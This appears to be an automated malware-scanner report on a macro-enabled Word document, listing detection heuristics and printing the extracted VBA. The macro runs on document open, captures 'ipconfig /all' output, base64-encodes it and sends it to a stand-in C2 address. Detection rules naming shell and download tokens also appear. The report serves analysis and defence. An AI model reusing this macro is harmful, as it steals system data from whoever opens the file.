MALICIOUS
230
Risk Score
Heuristics 7
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set objShell = CreateObject("WScript.Shell") -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
' Create WScript.Shell object to execute the command -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objShell = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.microsoft.com/office/2019/extlstReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- http://example.com/c2?data=Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1488 bytes |
SHA-256: c8e1cd05043c1a8d69e6c43b1c522388ac5fa4afc0ba54799a6baa665bbbeb31 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim strCommand As String
Dim strOutput As String
Dim strBase64 As String
Dim strURL As String
Dim objShell As Object
Dim objExec As Object
Dim objHTTP As Object
' Command to execute
strCommand = "ipconfig /all"
' Create WScript.Shell object to execute the command
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec(strCommand)
' Capture the output
strOutput = objExec.StdOut.ReadAll
' Base64 encode the output
strBase64 = EncodeBase64(strOutput)
' Construct the URL with the encoded data
strURL = "http://example.com/c2?data=" & strBase64
' Send the HTTP GET request
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "GET", strURL, False
objHTTP.Send
End Sub
Function EncodeBase64(ByVal strInput As String) As String
Dim objXML As Object
Dim objNode As Object
Set objXML = CreateObject("MSXML2.DOMDocument")
Set objNode = objXML.createElement("b64")
objNode.DataType = "bin.base64"
objNode.NodeTypedValue = strInput
EncodeBase64 = objNode.Text
End Function
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9728 bytes |
SHA-256: 0378fa21777c596b65b3b22b37405906c10b48b0e736d79cd895a86877d3e487 |
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